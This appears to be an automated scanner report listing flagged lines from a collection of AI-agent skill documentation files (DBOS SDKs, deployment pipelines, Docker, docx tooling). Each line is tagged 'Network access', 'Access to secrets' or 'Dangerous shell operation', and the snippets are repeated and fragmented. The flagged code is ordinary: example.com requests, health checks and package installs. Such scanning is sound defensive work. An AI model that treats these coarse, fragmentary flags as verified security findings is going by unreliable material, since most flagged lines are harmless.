Reference: [Rate Limiting](https://docs.dbos.dev/golang/tutorials/queue-tutorial#rate-limiting)
skills/dbos-golang/references/step-basics.md
- Network accessline 15
func myWorkflow(ctx dbos.DBOSContext, input string) (string, error) { // External API call directly in workflow - not checkpointed! resp, err := http.Get("https://api.example.com/data") - Network accessline 16
// External API call directly in workflow - not checkpointed! resp, err := http.Get("https://api.example.com/data") if err != nil { - Network accessline 17
resp, err := http.Get("https://api.example.com/data") - Network accessline 30
func fetchData(ctx context.Context) (string, error) { resp, err := http.Get("https://api.example.com/data") - Network accessline 31
resp, err := http.Get("https://api.example.com/data") - Network accessline 52
func myWorkflow(ctx dbos.DBOSContext, input string) (string, error) { data, err := dbos.RunAsStep(ctx, func(ctx context.Context) (string, error) { resp, err := http.Get("https://api.example.com/data") - Network accessline 53
data, err := dbos.RunAsStep(ctx, func(ctx context.Context) (string, error) { resp, err := http.Get("https://api.example.com/data") if err != nil { - Network accessline 54
resp, err := http.Get("https://api.example.com/data") - Network accessline 81
Reference: [DBOS Steps](https://docs.dbos.dev/golang/tutorials/step-tutorial)
skills/dbos-golang/references/step-concurrency.md
- Network accessline 79
Reference: [Concurrent Steps](https://docs.dbos.dev/golang/tutorials/workflow-tutorial#concurrent-steps)
skills/dbos-golang/references/step-retries.md
- Network accessline 16
var lastErr error for attempt := 0; attempt < 3; attempt++ { resp, err := http.Get("https://api.example.com") - Network accessline 17
for attempt := 0; attempt < 3; attempt++ { resp, err := http.Get("https://api.example.com") if err == nil { - Network accessline 18
resp, err := http.Get("https://api.example.com") - Network accessline 34
func fetchData(ctx context.Context) (string, error) { resp, err := http.Get("https://api.example.com") - Network accessline 35
resp, err := http.Get("https://api.example.com") - Network accessline 66
Reference: [Configurable Retries](https://docs.dbos.dev/golang/tutorials/step-tutorial#configurable-retries)
skills/dbos-golang/references/test-setup.md
- Network accessline 90
Reference: [Testing DBOS](https://docs.dbos.dev/golang/tutorials/testing)
skills/dbos-golang/references/workflow-background.md
- Network accessline 64
Reference: [Workflows](https://docs.dbos.dev/golang/tutorials/workflow-tutorial)
skills/dbos-golang/references/workflow-constraints.md
- Network accessline 34
func fetchData(ctx context.Context) (string, error) { // Steps only do external operations resp, err := http.Get("https://api.example.com") - Network accessline 35
// Steps only do external operations resp, err := http.Get("https://api.example.com") if err != nil { - Network accessline 36
resp, err := http.Get("https://api.example.com") - Network accessline 68
Reference: [Workflow Guarantees](https://docs.dbos.dev/golang/tutorials/workflow-tutorial#workflow-guarantees)
skills/dbos-golang/references/workflow-control.md
- Network accessline 48
Reference: [Workflow Management](https://docs.dbos.dev/golang/tutorials/workflow-management)
skills/dbos-golang/references/workflow-determinism.md
- Network accessline 51
Reference: [Workflow Determinism](https://docs.dbos.dev/golang/tutorials/workflow-tutorial#determinism)
skills/dbos-golang/references/workflow-introspection.md
- Network accessline 64
Reference: [Workflow Management](https://docs.dbos.dev/golang/tutorials/workflow-management#listing-workflows)
skills/dbos-golang/references/workflow-timeout.md
- Network accessline 38
Reference: [Workflow Timeouts](https://docs.dbos.dev/golang/tutorials/workflow-tutorial#workflow-timeouts)
skills/dbos-python/SKILL.md
- Network accessline 3
description: "DBOS Python SDK for building reliable, fault-tolerant applications with durable workflows. Use this skill when writing Python code with DBOS, creating workflows and steps, using queues, using DBOSC..." risk: safe source: https - Network accessline 4
risk: safe source: https://docs.dbos.dev/ license: MIT - Network accessline 5
source: https://docs.dbos.dev/ - Access to secretsline 61
[Credential-related source omitted] - Network accessline 72
@DBOS.step() def call_external_api(): return requests.get("https://api.example.com").json() - Network accessline 74
return requests.get("https://api.example.com").json() - Network accessline 101
- https://docs.dbos.dev/ - Network accessline 102
- https://github.com/dbos-inc/dbos-transact-py
skills/dbos-python/references/advanced-async.md
- Network accessline 30
@DBOS.step() async def fetch_async(): async with aiohttp.ClientSession() as session: - Network accessline 31
async def fetch_async(): async with aiohttp.ClientSession() as session: async with session.get("https://example.com") as response: - Network accessline 32
async with aiohttp.ClientSession() as session: - Network accessline 33
async with session.get("https://example.com") as response: - Network accessline 101
Reference: [Async Workflows](https://docs.dbos.dev/python/tutorials/workflow-tutorial#coroutine-async-workflows)
skills/dbos-python/references/advanced-patching.md
- Network accessline 68
Reference: [Patching](https://docs.dbos.dev/python/tutorials/upgrading-workflows#patching)
skills/dbos-python/references/advanced-versioning.md
- Network accessline 66
Reference: [Versioning](https://docs.dbos.dev/python/tutorials/upgrading-workflows#versioning)
skills/dbos-python/references/client-enqueue.md
- Network accessline 54
Reference: [DBOSClient.enqueue](https://docs.dbos.dev/python/reference/client#enqueue)
skills/dbos-python/references/client-setup.md
skills/dbos-python/references/comm-events.md
- Network accessline 61
Reference: [Workflow Events](https://docs.dbos.dev/python/tutorials/workflow-communication#workflow-events)
skills/dbos-python/references/comm-messages.md
- Network accessline 56
Reference: [Workflow Messaging](https://docs.dbos.dev/python/tutorials/workflow-communication#workflow-messaging-and-notifications)
skills/dbos-python/references/comm-streaming.md
- Network accessline 57
Reference: [Workflow Streaming](https://docs.dbos.dev/python/tutorials/workflow-communication#workflow-streaming)
skills/dbos-python/references/lifecycle-config.md
skills/dbos-python/references/lifecycle-fastapi.md
skills/dbos-python/references/pattern-classes.md
- Network accessline 19
@DBOS.workflow() # Won't work without proper setup def fetch_data(self): return self.fetch() - Network accessline 21
return self.fetch() - Network accessline 40
@DBOS.step() def fetch_url(self): return requests.get(self.url).text - Network accessline 42
return requests.get(self.url).text - Network accessline 44
# Instantiate BEFORE DBOS.launch() example_fetcher = URLFetcher("https://example.com") - Network accessline 45
example_fetcher = URLFetcher("https://example.com") - Network accessline 46
api_fetcher = URLFetcher("https://api.example.com") - Network accessline 61
Reference: [Python Classes](https://docs.dbos.dev/python/tutorials/classes)
skills/dbos-python/references/pattern-debouncing.md
- Network accessline 59
Reference: [Debouncing Workflows](https://docs.dbos.dev/python/tutorials/workflow-tutorial#debouncing-workflows)
skills/dbos-python/references/pattern-idempotency.md
- Network accessline 52
Reference: [Workflow IDs and Idempotency](https://docs.dbos.dev/python/tutorials/workflow-tutorial#workflow-ids-and-idempotency)
skills/dbos-python/references/pattern-scheduled.md
- Network accessline 56
Reference: [Scheduled Workflows](https://docs.dbos.dev/python/tutorials/scheduled-workflows)
skills/dbos-python/references/pattern-sleep.md
- Network accessline 58
Reference: [Durable Sleep](https://docs.dbos.dev/python/tutorials/workflow-tutorial#durable-sleep)
skills/dbos-python/references/queue-basics.md
- Network accessline 60
Reference: [DBOS Queues](https://docs.dbos.dev/python/tutorials/queue-tutorial)
skills/dbos-python/references/queue-concurrency.md
- Network accessline 57
Reference: [Managing Concurrency](https://docs.dbos.dev/python/tutorials/queue-tutorial#managing-concurrency)
skills/dbos-python/references/queue-deduplication.md
- Network accessline 51
Reference: [Queue Deduplication](https://docs.dbos.dev/python/tutorials/queue-tutorial#deduplication)
skills/dbos-python/references/queue-listening.md
skills/dbos-python/references/queue-partitioning.md
- Network accessline 62
Reference: [Partitioning Queues](https://docs.dbos.dev/python/tutorials/queue-tutorial#partitioning-queues)
skills/dbos-python/references/queue-priority.md
- Network accessline 62
Reference: [Queue Priority](https://docs.dbos.dev/python/tutorials/queue-tutorial#priority)
skills/dbos-python/references/queue-rate-limiting.md
- Network accessline 55
Reference: [Rate Limiting](https://docs.dbos.dev/python/tutorials/queue-tutorial#rate-limiting)
skills/dbos-python/references/step-basics.md
- Network accessline 18
def my_workflow(): # External API call directly in workflow - not checkpointed! response = requests.get("https://api.example.com/data") - Network accessline 19
# External API call directly in workflow - not checkpointed! response = requests.get("https://api.example.com/data") return response.json() - Network accessline 20
response = requests.get("https://api.example.com/data") - Network accessline 29
@DBOS.step() def fetch_data(): response = requests.get("https://api.example.com/data") - Network accessline 30
def fetch_data(): response = requests.get("https://api.example.com/data") return response.json() - Network accessline 31
response = requests.get("https://api.example.com/data") - Network accessline 53
Reference: [DBOS Steps](https://docs.dbos.dev/python/tutorials/step-tutorial)
skills/dbos-python/references/step-retries.md
- Network accessline 18
for attempt in range(3): try: return requests.get("https://api.example.com").json() - Network accessline 19
try: return requests.get("https://api.example.com").json() except Exception: - Network accessline 20
return requests.get("https://api.example.com").json() - Network accessline 31
def fetch_data(): # Retries handled automatically return requests.get("https://api.example.com").json() - Network accessline 33
return requests.get("https://api.example.com").json() - Network accessline 44
Reference: [Configurable Retries](https://docs.dbos.dev/python/tutorials/step-tutorial#configurable-retries)
skills/dbos-python/references/step-transactions.md
- Network accessline 58
Reference: [DBOS Transactions](https://docs.dbos.dev/python/reference/decorators#transactions)
skills/dbos-python/references/test-fixtures.md
skills/dbos-python/references/workflow-background.md
- Network accessline 58
Reference: [Starting Workflows](https://docs.dbos.dev/python/tutorials/workflow-tutorial#starting-workflows-in-the-background)
skills/dbos-python/references/workflow-constraints.md
- Network accessline 70
Reference: [DBOS Workflows](https://docs.dbos.dev/python/tutorials/workflow-tutorial)
skills/dbos-python/references/workflow-control.md
- Network accessline 77
Reference: [Workflow Management](https://docs.dbos.dev/python/tutorials/workflow-management)
skills/dbos-python/references/workflow-determinism.md
- Network accessline 53
Reference: [Workflow Determinism](https://docs.dbos.dev/python/tutorials/workflow-tutorial#determinism)
skills/dbos-python/references/workflow-introspection.md
- Network accessline 68
Reference: [Workflow Management](https://docs.dbos.dev/python/tutorials/workflow-management)
skills/dbos-python/references/workflow-timeout.md
- Network accessline 59
Reference: [Workflow Timeouts](https://docs.dbos.dev/python/tutorials/workflow-tutorial#workflow-timeouts)
skills/dbos-typescript/SKILL.md
- Network accessline 3
description: "DBOS TypeScript SDK for building reliable, fault-tolerant applications with durable workflows. Use this skill when writing TypeScript code with DBOS, creating workflows and steps, using queues, usi..." risk: safe source: https - Network accessline 4
risk: safe source: https://docs.dbos.dev/ license: MIT - Network accessline 5
source: https://docs.dbos.dev/ - Network accessline 80
async function fetchData() { return await fetch("https://api.example.com").then(r => r.json()); - Network accessline 81
return await fetch("https://api.example.com").then(r => r.json()); - Network accessline 110
- https://docs.dbos.dev/ - Network accessline 111
- https://github.com/dbos-inc/dbos-transact-ts
skills/dbos-typescript/references/advanced-patching.md
- Network accessline 72
Reference: [Patching](https://docs.dbos.dev/typescript/tutorials/upgrading-workflows#patching)
skills/dbos-typescript/references/advanced-versioning.md
- Network accessline 61
Reference: [Versioning](https://docs.dbos.dev/typescript/tutorials/upgrading-workflows#versioning)
skills/dbos-typescript/references/client-enqueue.md
- Network accessline 75
Reference: [DBOS Client Enqueue](https://docs.dbos.dev/typescript/reference/client#enqueue)
skills/dbos-typescript/references/client-setup.md
- Network accessline 60
Reference: [DBOS Client](https://docs.dbos.dev/typescript/reference/client)
skills/dbos-typescript/references/comm-events.md
- Network accessline 57
Reference: [Workflow Events](https://docs.dbos.dev/typescript/tutorials/workflow-communication#workflow-events)
skills/dbos-typescript/references/comm-messages.md
- Network accessline 55
Reference: [Workflow Messaging](https://docs.dbos.dev/typescript/tutorials/workflow-communication#workflow-messaging-and-notifications)
skills/dbos-typescript/references/comm-streaming.md
- Network accessline 53
Reference: [Workflow Streaming](https://docs.dbos.dev/typescript/tutorials/workflow-communication#workflow-streaming)
skills/dbos-typescript/references/lifecycle-config.md
- Network accessline 47
Reference: [DBOS Lifecycle](https://docs.dbos.dev/typescript/reference/dbos-class)
skills/dbos-typescript/references/lifecycle-express.md
- Network accessline 61
Reference: [Integrating DBOS](https://docs.dbos.dev/typescript/integrating-dbos)
skills/dbos-typescript/references/pattern-classes.md
- Network accessline 44
// Can use this.cfg safely - instance is recoverable const result = await DBOS.runStep( () => fetch(this.cfg.apiUrl).then(r => r.text()), - Network accessline 45
const result = await DBOS.runStep( () => fetch(this.cfg.apiUrl).then(r => r.text()), { name: "callApi" } - Network accessline 46
() => fetch(this.cfg.apiUrl).then(r => r.text()), - Network accessline 52
// Create instances BEFORE DBOS.launch() const worker1 = new MyWorker("worker-us", { apiUrl: "https://us.api.com" }); - Network accessline 53
const worker1 = new MyWorker("worker-us", { apiUrl: "https://us.api.com" }); - Network accessline 54
const worker2 = new MyWorker("worker-eu", { apiUrl: "https://eu.api.com" }); - Network accessline 67
Reference: [Using TypeScript Objects](https://docs.dbos.dev/typescript/tutorials/instantiated-objects)
skills/dbos-typescript/references/pattern-debouncing.md
- Network accessline 56
Reference: [Debouncing Workflows](https://docs.dbos.dev/typescript/tutorials/workflow-tutorial#debouncing-workflows)
skills/dbos-typescript/references/pattern-idempotency.md
- Network accessline 53
Reference: [Workflow IDs and Idempotency](https://docs.dbos.dev/typescript/tutorials/workflow-tutorial#workflow-ids-and-idempotency)
skills/dbos-typescript/references/pattern-scheduled.md
- Network accessline 69
Reference: [Scheduled Workflows](https://docs.dbos.dev/typescript/tutorials/scheduled-workflows)
skills/dbos-typescript/references/pattern-sleep.md
- Network accessline 59
Reference: [Durable Sleep](https://docs.dbos.dev/typescript/tutorials/workflow-tutorial#durable-sleep)
skills/dbos-typescript/references/queue-basics.md
- Network accessline 59
Reference: [DBOS Queues](https://docs.dbos.dev/typescript/tutorials/queue-tutorial)
skills/dbos-typescript/references/queue-concurrency.md
- Network accessline 53
Reference: [Managing Concurrency](https://docs.dbos.dev/typescript/tutorials/queue-tutorial#managing-concurrency)
skills/dbos-typescript/references/queue-deduplication.md
- Network accessline 51
Reference: [Deduplication](https://docs.dbos.dev/typescript/tutorials/queue-tutorial#deduplication)
skills/dbos-typescript/references/queue-listening.md
- Network accessline 63
Reference: [Explicit Queue Listening](https://docs.dbos.dev/typescript/tutorials/queue-tutorial#explicit-queue-listening)
skills/dbos-typescript/references/queue-partitioning.md
- Network accessline 63
Reference: [Partitioning Queues](https://docs.dbos.dev/typescript/tutorials/queue-tutorial#partitioning-queues)
skills/dbos-typescript/references/queue-priority.md
- Network accessline 48
Reference: [Priority](https://docs.dbos.dev/typescript/tutorials/queue-tutorial#priority)
skills/dbos-typescript/references/queue-rate-limiting.md
- Network accessline 44
Reference: [Rate Limiting](https://docs.dbos.dev/typescript/tutorials/queue-tutorial#rate-limiting)
skills/dbos-typescript/references/step-basics.md
- Network accessline 15
async function myWorkflowFn() { // External API call directly in workflow - not checkpointed! const response = await fetch("https://api.example.com/data"); - Network accessline 16
// External API call directly in workflow - not checkpointed! const response = await fetch("https://api.example.com/data"); return await response.json(); - Network accessline 17
const response = await fetch("https://api.example.com/data"); - Network accessline 26
async function fetchData() { return await fetch("https://api.example.com/data").then(r => r.json()); - Network accessline 27
return await fetch("https://api.example.com/data").then(r => r.json()); - Network accessline 40
async function myWorkflowFn() { const data = await DBOS.runStep( () => fetch("https://api.example.com/data").then(r => r.json()), - Network accessline 41
const data = await DBOS.runStep( () => fetch("https://api.example.com/data").then(r => r.json()), { name: "fetchData" } - Network accessline 42
() => fetch("https://api.example.com/data").then(r => r.json()), - Network accessline 63
Reference: [DBOS Steps](https://docs.dbos.dev/typescript/tutorials/step-tutorial)
skills/dbos-typescript/references/step-retries.md
- Network accessline 16
for (let attempt = 0; attempt < 3; attempt++) { try { return await fetch("https://api.example.com").then(r => r.json()); - Network accessline 17
try { return await fetch("https://api.example.com").then(r => r.json()); } catch (e) { - Network accessline 18
return await fetch("https://api.example.com").then(r => r.json()); - Network accessline 30
async function fetchData() { return await fetch("https://api.example.com").then(r => r.json()); - Network accessline 31
return await fetch("https://api.example.com").then(r => r.json()); - Network accessline 49
async function myWorkflowFn() { const data = await DBOS.runStep( () => fetch("https://api.example.com").then(r => r.json()), - Network accessline 50
const data = await DBOS.runStep( () => fetch("https://api.example.com").then(r => r.json()), { name: "fetchData", retriesAllowed: true, maxAttempts: 10 } - Network accessline 51
() => fetch("https://api.example.com").then(r => r.json()), - Network accessline 67
Reference: [Configurable Retries](https://docs.dbos.dev/typescript/tutorials/step-tutorial#configurable-retries)
skills/dbos-typescript/references/step-transactions.md
- Network accessline 68
Reference: [Transactions & Datasources](https://docs.dbos.dev/typescript/tutorials/transaction-tutorial)
skills/dbos-typescript/references/test-setup.md
- Network accessline 104
Reference: [Testing & Mocking](https://docs.dbos.dev/typescript/tutorials/testing)
skills/dbos-typescript/references/workflow-background.md
- Network accessline 54
Reference: [Starting Workflows in Background](https://docs.dbos.dev/typescript/tutorials/workflow-tutorial#starting-workflows-in-the-background)
skills/dbos-typescript/references/workflow-constraints.md
- Network accessline 33
async function fetchData() { // Steps only do external operations return await fetch("https://api.example.com").then(r => r.json()); - Network accessline 34
// Steps only do external operations return await fetch("https://api.example.com").then(r => r.json()); } - Network accessline 35
return await fetch("https://api.example.com").then(r => r.json()); - Network accessline 65
Reference: [Workflow Guarantees](https://docs.dbos.dev/typescript/tutorials/workflow-tutorial#workflow-guarantees)
skills/dbos-typescript/references/workflow-control.md
- Network accessline 57
Reference: [Workflow Management](https://docs.dbos.dev/typescript/tutorials/workflow-management)
skills/dbos-typescript/references/workflow-determinism.md
- Network accessline 54
Reference: [Workflow Determinism](https://docs.dbos.dev/typescript/tutorials/workflow-tutorial#determinism)
skills/dbos-typescript/references/workflow-introspection.md
- Network accessline 70
Reference: [Workflow Management](https://docs.dbos.dev/typescript/tutorials/workflow-management)
skills/dbos-typescript/references/workflow-timeout.md
- Network accessline 39
Reference: [Workflow Timeouts](https://docs.dbos.dev/typescript/tutorials/workflow-tutorial#workflow-timeouts)
skills/dbt-transformation-patterns/resources/implementation-playbook.md
- Network accessline 544
- [dbt Documentation](https://docs.getdbt.com/) - Network accessline 545
- [dbt Best Practices](https://docs.getdbt.com/guides/best-practices) - Network accessline 546
- [dbt-utils Package](https://hub.getdbt.com/dbt-labs/dbt_utils/latest/) - Network accessline 547
- [dbt Discourse](https://discourse.getdbt.com/)
skills/debugging-strategies/resources/implementation-playbook.md
skills/deep-research/SKILL.md
- Network accessline 2
name: deep-research description: "Execute autonomous multi-step research using Google Gemini Deep Research Agent. Use for: market analysis, competitive landscaping, literature reviews, technical research, due diligence. Takes 2-10 ..." sour - Network accessline 3
description: "Execute autonomous multi-step research using Google Gemini Deep Research Agent. Use for: market analysis, competitive landscaping, literature reviews, technical research, due diligence. Takes 2-10 ..." source: "https://github. - Network accessline 4
source: "https://github.com/sanjay3290/ai-skills/tree/main/skills/deep-research" - Access to secretsline 26
[Credential-related source omitted] - Network accessline 30
1. Get a Gemini API key from [Google AI Studio](https://aistudio.google.com/) - Access to secretsline 33
[Credential-related source omitted]
skills/dependency-management-deps-audit/resources/implementation-playbook.md
- Network accessline 142
def __init__(self): self.vulnerability_apis = { 'npm': 'https://registry.npmjs.org/-/npm/v1/security/advisories/bulk', - Network accessline 143
self.vulnerability_apis = { 'npm': 'https://registry.npmjs.org/-/npm/v1/security/advisories/bulk', 'pypi': 'https://pypi.org/pypi/{package}/json', - Network accessline 144
'npm': 'https://registry.npmjs.org/-/npm/v1/security/advisories/bulk', - Network accessline 145
'pypi': 'https://pypi.org/pypi/{package}/json', - Network accessline 146
'rubygems': 'https://rubygems.org/api/v1/gems/{package}.json', - Network accessline 147
'maven': 'https://ossindex.sonatype.org/api/v3/component-report' - Network accessline 182
""" # Using npm audit API response = requests.post( - Network accessline 183
# Using npm audit API response = requests.post( 'https://registry.npmjs.org/-/npm/v1/security/advisories/bulk', - Network accessline 184
response = requests.post( - Network accessline 185
'https://registry.npmjs.org/-/npm/v1/security/advisories/bulk', - Network accessline 465
try { // Fetch package stats const response = await fetch( - Network accessline 466
// Fetch package stats const response = await fetch( `https://bundlephobia.com/api/size?package=${packageName}@${info.version}` - Network accessline 467
const response = await fetch( - Network accessline 468
`https://bundlephobia.com/api/size?package=${packageName}@${info.version}`
skills/dependency-upgrade/SKILL.md
skills/deployment-pipeline-design/SKILL.md
- Network accessline 66
environment: name: production url: https://app.example.com - Network accessline 67
name: production url: https://app.example.com runs-on: ubuntu-latest - Network accessline 68
url: https://app.example.com - Access to secretsline 194
[Credential-related source omitted] - Network accessline 272
steps: - name: Health check run: curl -f https://app.example.com/health - Network accessline 273
- name: Health check run: curl -f https://app.example.com/health - name: Notify team - Network accessline 274
run: curl -f https://app.example.com/health - Network accessline 275
- name: Notify team run: | curl -X POST ${{ secrets.SLACK_WEBHOOK }} \ - Network accessline 276
run: | curl -X POST ${{ secrets.SLACK_WEBHOOK }} \ -d '{"text":"Production deployment successful!"}' - Network accessline 277
curl -X POST ${{ secrets.SLACK_WEBHOOK }} \ - Network accessline 309
run: | for i in {1..10}; do if curl -sf https://app.example.com/health; then - Network accessline 310
for i in {1..10}; do if curl -sf https://app.example.com/health; then exit 0 - Network accessline 311
if curl -sf https://app.example.com/health; then - Network accessline 355
# Check error rate ERROR_RATE=$(curl -s "$PROMETHEUS_URL/api/v1/query?query=rate(http_errors_total[5m])" | jq '.data.result[0].value[1]') - Network accessline 356
ERROR_RATE=$(curl -s "$PROMETHEUS_URL/api/v1/query?query=rate(http_errors_total[5m])" | jq '.data.result[0].value[1]')
skills/deployment-procedures/SKILL.md
- Broad permissionsline 1
Read, Glob, Grep, Bash
skills/design-md/SKILL.md
- Network accessline 2
name: design-md description: "Analyze Stitch projects and synthesize a semantic design system into DESIGN.md files" source: "https://github.com/google-labs-code/stitch-skills/tree/main/skills/design-md" - Network accessline 3
description: "Analyze Stitch projects and synthesize a semantic design system into DESIGN.md files" source: "https://github.com/google-labs-code/stitch-skills/tree/main/skills/design-md" risk: safe - Network accessline 4
source: "https://github.com/google-labs-code/stitch-skills/tree/main/skills/design-md" - Network accessline 27
- Access to the Stitch MCP Server - A Stitch project with at least one designed screen - Access to the Stitch Effective Prompting Guide: https://stitch.withgoogle.com/docs/learn/prompting/ - Network accessline 29
- Access to the Stitch Effective Prompting Guide: https://stitch.withgoogle.com/docs/learn/prompting/ - Network accessline 141
Review the Stitch Effective Prompting Guide at: https://stitch.withgoogle.com/docs/learn/prompting/ - Network accessline 142
https://stitch.withgoogle.com/docs/learn/prompting/
skills/discord-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/discord-bot-architect/SKILL.md
- Access to secretsline 63
[Credential-related source omitted] - Access to secretsline 148
[Credential-related source omitted] - Network accessline 211
new ButtonBuilder() .setLabel('Documentation') .setURL('https://discord.js.org') - Network accessline 212
.setLabel('Documentation') .setURL('https://discord.js.org') .setStyle(ButtonStyle.Link) // Link buttons don't emit events - Network accessline 213
.setURL('https://discord.js.org')
skills/distributed-debugging-debug-trace/resources/implementation-playbook.md
- Network accessline 292
initialize() { const jaegerExporter = new JaegerExporter({ endpoint: process.env.JAEGER_ENDPOINT || 'http://localhost:14268/api/traces', - Network accessline 293
const jaegerExporter = new JaegerExporter({ endpoint: process.env.JAEGER_ENDPOINT || 'http://localhost:14268/api/traces', }); - Network accessline 294
endpoint: process.env.JAEGER_ENDPOINT || 'http://localhost:14268/api/traces', - Access to secretsline 604
[Credential-related source omitted] - Network accessline 896
// Debug endpoints endpoints: { jaeger: process.env.JAEGER_ENDPOINT || 'http://localhost:14268', - Network accessline 897
endpoints: { jaeger: process.env.JAEGER_ENDPOINT || 'http://localhost:14268', elasticsearch: process.env.ELASTICSEARCH_URL || 'http://localhost:9200', - Network accessline 898
jaeger: process.env.JAEGER_ENDPOINT || 'http://localhost:14268', - Network accessline 899
elasticsearch: process.env.ELASTICSEARCH_URL || 'http://localhost:9200', - Access to secretsline 1004
[Credential-related source omitted]
skills/distributed-tracing/SKILL.md
- Network accessline 62
# Deploy Jaeger Operator kubectl create namespace observability kubectl create -f https://github.com/jaegertracing/jaeger-operator/releases/download/v1.51.0/jaeger-operator.yaml -n observability - Network accessline 64
kubectl create -f https://github.com/jaegertracing/jaeger-operator/releases/download/v1.51.0/jaeger-operator.yaml -n observability - Network accessline 77
options: es: server-urls: http://elasticsearch:9200 - Network accessline 78
es: server-urls: http://elasticsearch:9200 ingress: - Network accessline 79
server-urls: http://elasticsearch:9200 - Network accessline 169
const exporter = new JaegerExporter({ endpoint: 'http://jaeger:14268/api/traces' - Network accessline 170
endpoint: 'http://jaeger:14268/api/traces' - Network accessline 214
func initTracer() (*sdktrace.TracerProvider, error) { exporter, err := jaeger.New(jaeger.WithCollectorEndpoint( jaeger.WithEndpoint("http://jaeger:14268/api/traces"), - Network accessline 215
exporter, err := jaeger.New(jaeger.WithCollectorEndpoint( jaeger.WithEndpoint("http://jaeger:14268/api/traces"), )) - Network accessline 216
jaeger.WithEndpoint("http://jaeger:14268/api/traces"), - Network accessline 271
response = requests.get('http://downstream-service/api', headers=headers) - Network accessline 281
axios.get('http://downstream-service/api', { headers });
skills/doc-coauthoring/SKILL.md
skills/docker-expert/SKILL.md
- Network accessline 104
EXPOSE 3000 HEALTHCHECK --interval=30s --timeout=10s --start-period=5s --retries=3 \ CMD curl -f http://localhost:3000/health || exit 1 - Network accessline 105
HEALTHCHECK --interval=30s --timeout=10s --start-period=5s --retries=3 CMD curl -f http://localhost:3000/health || exit 1 - Network accessline 106
CMD curl -f http://localhost:3000/health || exit 1 - Network accessline 153
- backend healthcheck: test: ["CMD", "curl", "-f", "http://localhost:3000/health"] - Network accessline 154
healthcheck: test: ["CMD", "curl", "-f", "http://localhost:3000/health"] interval: 30s - Network accessline 155
test: ["CMD", "curl", "-f", "http://localhost:3000/health"] - Access to secretsline 306
[Credential-related source omitted] - Access to secretsline 307
[Credential-related source omitted] - Access to secretsline 308
[Credential-related source omitted]
skills/documentation-generation-doc-generate/resources/implementation-playbook.md
- Network accessline 137
servers: - url: https://api.example.com/v1 - Network accessline 138
- url: https://api.example.com/v1 - Access to secretsline 266
[Credential-related source omitted] - Network accessline 302
git clone https://github.com/${GITHUB_ORG}/${REPO_NAME}.git - Network accessline 326
# Clone and setup git clone https://github.com/${GITHUB_ORG}/${REPO_NAME}.git - Network accessline 327
git clone https://github.com/${GITHUB_ORG}/${REPO_NAME}.git - Network accessline 467
<head> <title>API Documentation</title> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/swagger-ui-dist@latest/swagger-ui.css"> - Network accessline 468
<title>API Documentation</title> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/swagger-ui-dist@latest/swagger-ui.css"> </head> - Network accessline 469
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/swagger-ui-dist@latest/swagger-ui.css"> - Network accessline 474
<script src="https://cdn.jsdelivr.net/npm/swagger-ui-dist@latest/swagger-ui-bundle.js"></script> - Network accessline 500
url = "https://api.example.com{endpoint['path']}" - Access to secretsline 501
[Credential-related source omitted] - Network accessline 507
# JavaScript examples['javascript'] = f''' const response = await fetch('https://api.example.com{endpoint['path']}', {{ - Network accessline 508
examples['javascript'] = f''' const response = await fetch('https://api.example.com{endpoint['path']}', {{ method: '{endpoint['method']}', - Network accessline 509
const response = await fetch('https://api.example.com{endpoint['path']}', {{ - Access to secretsline 511
[Credential-related source omitted] - Network accessline 518
# cURL examples['curl'] = f''' - Network accessline 519
[Credential-related source omitted] - Network accessline 520
[Credential-related source omitted] - Access to secretsline 520
[Credential-related source omitted] - Access to secretsline 521
[Credential-related source omitted]
skills/docusign-automation/SKILL.md
- Network accessline 22
**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
skills/docx-official/LICENSE.txt
- Network accessline 6
exists, use is governed by Anthropic's Consumer Terms of Service or Commercial Terms of Service, as applicable: https://www.anthropic.com/legal/consumer-terms - Network accessline 7
Commercial Terms of Service, as applicable: https://www.anthropic.com/legal/consumer-terms https://www.anthropic.com/legal/commercial-terms - Network accessline 8
https://www.anthropic.com/legal/consumer-terms - Network accessline 9
https://www.anthropic.com/legal/commercial-terms
skills/docx-official/SKILL.md
- Dangerous shell operationline 195
- **pandoc**: `sudo apt-get install pandoc` (for text extraction) - Dangerous shell operationline 197
- **LibreOffice**: `sudo apt-get install libreoffice` (for PDF conversion) - Dangerous shell operationline 198
- **Poppler**: `sudo apt-get install poppler-utils` (for pdftoppm to convert PDF to images)
skills/docx-official/docx-js.md
- Network accessline 238
children: [new ExternalHyperlink({ children: [new TextRun({ text: "Google", style: "Hyperlink" })], link: "https://www.google.com" - Network accessline 239
children: [new TextRun({ text: "Google", style: "Hyperlink" })], link: "https://www.google.com" })] - Network accessline 240
link: "https://www.google.com"
skills/docx-official/ooxml.md
- Network accessline 166
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/numbering" Target="numbering.xml"/> - Network accessline 167
<Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image1.png"/> - Network accessline 185
<wp:extent cx="2743200" cy="1828800"/> <wp:docPr id="1" name="Picture 1"/> <a:graphic xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"> - Network accessline 186
<wp:docPr id="1" name="Picture 1"/> <a:graphic xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"> <a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture"> - Network accessline 187
<a:graphic xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"> - Network accessline 188
<a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture"> - Network accessline 189
<pic:pic xmlns:pic="http://schemas.openxmlformats.org/drawingml/2006/picture"> - Network accessline 230
<!-- In word/_rels/document.xml.rels --> <Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" - Network accessline 231
<Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" - Network accessline 232
Target="https://www.example.com/" TargetMode="External"/> - Network accessline 463
next_rid = rels_editor.get_next_rid() rels_editor.append_to(rels_editor.dom.documentElement, f'<Relationship Id="{next_rid}" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image1.png"/>') - Network accessline 464
